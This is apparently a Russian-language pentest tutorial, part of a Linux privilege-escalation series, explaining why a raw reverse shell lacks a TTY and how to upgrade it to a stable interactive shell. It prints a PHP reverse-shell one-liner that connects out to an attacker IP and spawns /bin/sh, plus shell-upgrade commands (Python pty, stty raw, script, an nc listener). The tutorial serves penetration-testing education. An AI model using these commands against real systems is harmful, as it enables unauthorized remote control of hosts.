Я есть root. Получаем стабильный shell
Давайте представим, что мы получили бэк-коннект в результате эксплуатации RCE-уязвимости в условном PHP-приложении. Но едва ли это соединение можно назвать полноценным. Сегодня разберемся в том, как прокачать полученный доступ и сделать его более стабильным.
Это третья часть из цикла статей по повышению привилегий в ОС Linux, я есть root. Первая статья была обзорной, во второй статье я разбирал вектор повышения через SUID/SGID.
Итак, мы получили initial shell. Кто знает, как это по-русски? «Изначальная оболочка» или «первичный доступ» — ГОСТ«а нет, поэтому прошу в комментарии. Так вот, мы не сможем использовать это соединение для успешного pivoting’a, поскольку тот же SSH нам не доступен.
Безуспешная попытка использования SSH
Система сообщает нам, что не может справиться с SSH без полноценного терминального shell«a. Что делать в этом случае? Отправляемся в Google и находим подборки команд, не все из которых нам помогут, например:
/bin/sh -i
Попытка создания псевдотерминала через /bin/sh
Что мы можем с этим сделать? Как получить стабильный шелл? Сейчас разберемся.
Зачем нам терминал в нашем соединении?
Давным-давно, во второй половине 20 века, компьютеры были большими, а взаимодействие пользователей с ними происходило посредством физических устройств, называемых телепринтерами и телетайпами. Об истории терминалов можно почитать тут, а нам важно понимать, что сейчас Linux все так же считает себя мейнфреймом, а общение с системой происходит по виртуальным терминалам.
Часто во время тестирования на проникновение мы получаем оболочку, в которой нет виртуального терминала. Большинство привычных нам бэк-коннектов представляют собой не что иное, как открытие сетевого сокета и перенаправление потоков ввода/вывода в данный сокет. При этом на хосте атакующего отсутствует такая сущность, как терминал (tty). Отсутствие терминала в соединении не дает системе корректно работать с вводом/выводом, поскольку не весь вывод можно корректно вывести через сетевой сокет на хост атакующего. Тот же пример с SSH: запрос на доверие сертификату приходит в терминал атакуемого хоста, но не доходит по сокету на хост атакующего. Команда ниже использована для имитации эксплуатации RCE-уязвимости.
php -r '$sock=fsockopen("172.16.236.128",443);exec("/bin/sh -i <&3 >&3 2>&3");'
Попытка воспользоваться SSH через nc-соединение
Запрос на доверие сертификату выводится на атакуемом хосте
На стороне атакующего терминала пока нет
Прокачиваем наш изначальный шелл
Мы можем использовать Python, чтобы выйти в bash, при этом получив в свое распоряжение терминал. Команда tty показывает адрес текущего терминала.
python3 -c 'import pty;pty.spawn("/bin/bash")'
Создание виртуального терминала в Python
На этом этапе нам уже доступен некий интерактив в виде возможности дать ответ на запросы системы из серии «доверяйте данному ключу SSH» или «введите пароль, чтобы воспользоваться sudo».
Это уже что-то, однако у нас все еще нет возможности воспользоваться нашим любимым сочетанием клавиш ctrl+c (пентестерский софт ведь никогда не отличался хорошей стабильностью). Чтобы получить более стабильную версию shell«a и не пересоздавать соединение по 10 раз, рекомендую использовать следующий прием.
nc -nlvp 443
#ctrl + z
stty raw -echo && fg
Команда stty устанавливает свойства терминальной линии. Этот инструмент позволит нам сообщить терминалу на стороне атакующего, что наш ввод нужно просто направлять в stdin без обработки. Таким образом, мы больше не убьём сессию, если машинально нажмем ctrl+c.
Получение стабильного shell’a с помощью настройки свойств терминала
Бывает, что в системе просто не установлен Python. Что же делать в этом случае? Можно воспользоваться утилитой script, например, в CentOS она доступна по умолчанию.
/usr/bin/script -qc /bin/bash /dev/null
Создание виртуального терминала в script
Думаю, этого достаточно для понимания процесса создания стабильных и удобных соединений.
Харденинг
По поводу безопасного харденинга заморачиваться сильно смысла не имеет, поскольку вы уже проморгали RCE в системе. В принципе, успешное поднятие привилегий возможно и без описанных сегодня методов.
